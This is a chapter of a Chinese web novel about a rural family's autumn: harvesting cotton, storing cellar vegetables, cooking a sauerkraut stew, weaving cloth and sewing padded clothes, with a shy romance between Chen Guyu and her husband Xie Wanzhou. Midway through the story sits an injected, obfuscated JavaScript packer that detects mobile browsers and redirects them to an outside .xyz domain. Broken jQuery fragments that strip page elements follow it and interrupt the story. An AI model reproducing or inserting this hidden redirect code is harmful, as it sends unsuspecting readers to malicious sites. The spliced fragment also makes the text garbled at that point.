秋日的李家坳，空气里浸着新翻泥土的湿润、玉米秆的清甜，还有红薯窖里透出的微凉土腥气。


    金灿灿的玉米棒子缀满家家屋檐，沉甸甸的红薯和土豆被仔细藏进地窖深处。经了霜的大白菜与萝卜，愈发青翠饱满。而村东头那一小片雪白，却最是惹眼——陈谷雨家的半亩棉田，像是被地晶特意点亮的明珠，成了村里独一份的景致。


    棉株挺拔，棉桃饱满，吐出的棉絮洁白蓬松，映着秋阳漾出温润光泽。四邻田地或已枯黄、或翻整待播冬麦，更衬得这一方雪色，明亮如画。


    “安安，你瞧，这像不像云朵落在了咱家地里？”陈谷雨弯着腰，指尖飞快地摘着棉花。地晶赐力，她动作又快又稳，不消多时，臂弯挎的大竹筐就堆成了小山。


    三岁的谢念安跟在她身后，穿着谢晚舟拿旧布改的小袄，脸蛋红扑扑的。


    他仰头望着那一片白，奶声奶气地学：“云朵！白！暖暖！”


    说着就踮脚，想够低处一团特别饱满的棉花。


    “安安，当心有刺。”谢晚舟温声提醒。他正细致地采着另一垄棉花，动作虽慢却极小心，不让棉絮沾半点枯叶泥土。他快步走来，蹲下身，轻握住安安小手，引他摸了摸筐边一朵已摘下的棉花，“轻轻摸，是不是软软的？”


    安安小手陷进蓬絮里，惊喜得咯咯笑：“软！安安喜欢！”


    陈谷雨望着这一幕，嘴角不自觉弯了弯。


    她将满筐棉花倒入田边更大的箩筐里，动作利落，筐尖很快冒了头。直起身时，目光掠过谢晚舟握着安安的那双手——骨节分明，带着薄茧，却安稳有力。


    安安依赖地蹭着他胳膊，那画面暖得让人心软。


    珍贵的棉花收毕，堆满了干燥的西屋，暖融融如小山。紧接着，便是藏冬菜。


    院角的地窖挖得更深阔。


    陈谷雨扛起装满沙土的麻袋，来回搬运铺底，步履稳而有力。


    谢晚舟则带着安安，仔细处理白菜萝卜。他剥去外层残叶，留下青翠菜心，用草绳轻捆菜根；萝卜则抹净泥土，晾干水汽。安安也学样，捧个小萝卜使劲擦，小脸憋得通红，险些蹭破了皮，逗得谢晚舟低笑，忙接过那“遭殃”的小家伙。


    最后一批菜蔬小心码进铺好稻草沙土的地窖，覆上厚厚旧棉絮与干草。


    窖门严实合上那刻，一股安心气息漫开小院。


    “好了，今冬安安有甜甜的萝卜吃了。”陈谷雨拍去手上泥土，望着满窖收获，语气松快。


    “嗯，还有酸菜。”谢晚舟接话。


    他早腌好几大缸酸菜，正搁阴凉处发酵。


    恰是晚炊时分，谢晚舟便从那新启的酸菜缸中，捞出几株腌得恰到好处、色泽润黄的酸菜。


    他手下利落，于案上细细切成均匀的丝状，浸入清水中略略漂去些许酸咸，捞出攥干备用。又从梁上取下今冬新熏的腊肉，割下窄窄一段，肥瘦相间，切成薄而透亮的片。灶膛里火舌舔着锅底，少许自家榨的菜籽油滑入，待油热，便将腊肉片投入，“刺啦”一声，油脂煸出，咸香顿时盈满灶间。


    他不慌不忙，将腊肉拨至一边，投入几粒花椒、一枚掰碎的干椒爆香，随即倒下酸菜丝，快速翻炒，让那酸香与肉脂香充分交融。继而注入大半瓢清水，盖上木盖，任其文火慢炖。


    转身又从窖中取来两颗土豆，削皮切滚刀块，待锅中汤滚，便投入其中一同熬煮。另起一小锅，将泡发的干菇与几片白菜心同烧，只略点盐花，便是一碗清鲜的素羹。最后，更不忘用细粮掺了少许精贵白面，和面揉团，巧手贴出一圈焦香脆底的饼子，围在炖菜锅边一同焖熟。


    不过寻常家藏之物，经他巧手调配，竟也成就了难得丰盛的一餐。


    那酸菜炖得软韧适中，酸香开胃，恰到好处地中和了腊肉的丰腴；土豆吸饱了汤汁，入口软糯咸香；饼子一面酥脆，一面柔软，蘸着汤汁吃更是滋味无穷。


    “忙了一秋，合该吃点好的，也尝尝这新酸菜的滋味。”


    他将饭菜布好，语气温和，眼里带着些许劳作后的满足与笑意。安安早已扒着桌沿，眼巴巴地望着那盆咕嘟冒泡、热气蒸腾的酸菜炖肉，小鼻子一耸一耸地吸着气。


    见她颊边沾了点泥，便自然抬手，用袖口内里轻轻揩去。


    陈谷雨微微一怔，却没躲。


    粗布触感一掠而过，快如错觉，却留了丝暖意。


    她看向他，他却垂眸检查窖门，只耳根透出些许薄红。


    秋收忙过，节奏缓下，日子却未停步。


    布匹是硬通货，更是御寒之本。而陈家，正拥着满屋白雪似的棉花。


    夜晚，灶间柴火温吞燃着，暖亮一室。


    陈谷雨坐在小凳上，对着新学的纺车，显些笨拙。她捻起弹好的棉花，试着拉长、搓捻，再摇纺轮。可棉线时粗时细，不时崩断。几番下来，她蹙了眉，唇紧抿，指尖用力至发白。


    “这里，手指须得这样勾住，力道要匀。”


    谢晚舟坐在对面，正借灯穿引经线，准备织布。他抬眼见她急躁，便放下梭子走来，俯身自然握住她执棉絮纱锭的手，调整姿势，“像这样，慢慢带出来……”


    声低而清，气息拂过耳畔。


    陈谷雨身子微僵，随即放松。他指尖温度与薄茧触感清晰传来，带着令人安心的稳。


    她未抽手，只顺着引导，感受棉线匀滑出的韵律。


    灯下，两人交叠的手投下暖影，灶膛柴火噼啪，安安里屋酣睡，呼吸均匀。


    空气里棉絮清香弥漫，氤氲着静谧暖意。


    纺线渐熟，陈谷雨的线越发匀实，谢晚舟的织机也响起规律“咔哒”声。当第一匹天然米白、厚软柔韧的土布卸下织机时，全家皆展笑颜。这是李家坳今冬第一匹，也是唯一一匹新棉布！


    陈谷雨又启大工程——以此布与棉花，为全家制新棉衣、缝新被。


    她翻出攒下的细布作面，对照旧衣，笨拙却认真裁剪。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320628|182614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    絮棉最是关键，她将弹松的棉花层层铺匀：给三姑婆的衣絮得格外厚实，针脚密实；为安安的小袄，领口袖口镶了谢晚舟用碎布头拼出的可爱纹样。


    轮到谢晚舟时，她却犯了难——旧衣尺寸已不准。


    “晚舟，你来一下。”她持软尺，语气尽量平常。


    谢晚舟放下麻线，依言走来，立在她面前。


    “抬手。”


    他顺从张臂。软尺凉凉贴里衣量过肩宽，再测臂长，指尖不经意轻擦他臂侧。量胸围时，她手臂几环过他，软尺两端在胸前交汇，气息若有似无拂过他颈侧。最后量腰身，软尺环拢，指尖轻擦他腰际衣料。


    陈谷雨只觉指尖布料烫人，而他腰线在尺下绷如满弓。谢晚舟几乎听见自己心跳如擂，她每一下无意触碰，都似石入心湖，漾开涟漪。全程两人皆屏息，目光避而不交。灶火跳跃，映红微热脸颊与专注侧影。


    空气凝滞，唯闻软尺摩挲细响与彼此急促心跳。


    这短暂肌肤相触，带着劳作温热与布料粗砺，陌生却自然。


    心底同泛涟漪，无人排斥，反生隐秘悸动。


    量罢，陈谷雨即刻低头记录，状若寻常。


    谢晚舟默退一步，重理麻线，指尖微颤，被触处犹存麻暖。


    灯下熬过数夜，新棉衣终成。


    谢晚舟那件针脚细密，絮棉适中，袖口特意收紧，便于劳作。新棉被更是合家之力：陈谷雨与谢晚舟合力将雪白棉花在崭新被面上铺得厚实平整，三姑婆坐镇指点缝线防滚包。


    两人各执一边，隔蓬絮飞针走线，臂肘不时交错,指尖偶触对方手背腕间，带来细微战栗，又旋即若无其事继续，只穿针速度皆乱了一拍。


    安安抱布老虎在旁，好奇观望。


    末针落定，三床厚软蓬松、溢满阳光棉香的新被终成。它暖如敛尽秋阳。


    当夜，谢晚舟卧于全新暖被中，柔暖包裹周身。他看身旁幼弟红润睡颜，听窗外秋虫残鸣，白日细微触感犹萦指尖。妻主关怀如这棉被，无声却漫溢，暖得令人沉溺。这份安宁满足如此真切，几欲暂掩心底生育之忧。


    他闭目深嗅被中阳光棉香，一股唤作“家”的暖流悄漫心田。


    三姑婆坐自己屋中，抚厚软被面，笑纹舒至眼角，唯笑意深处藏一缕极淡轻愁，如落棉被微尘，转瞬覆于满室温光。她望西屋熄灯处，欣慰谷雨成长持家、小院日增生气，更慰此独有暖衣厚被。


    然目光扫过新被时，眼底终掠过一丝难察忧思——衣被虽暖，陈家血脉之续……


    唉。这血脉传承，岂是几床棉被所能捂暖、捂来的？


    陈谷雨亦卧于软被中，暗里睁眼，指间似还存量体时布料触感与他体温。她不晓心中异样是何，如新抽蚕丝，细缠心头，带些陌生痒意，却不惹厌，反叫人……期待那未知滋味。


    忙碌丰实的秋，似新酿成酒，将诸物悄然封存发酵，待时光启其未知之味。


    ------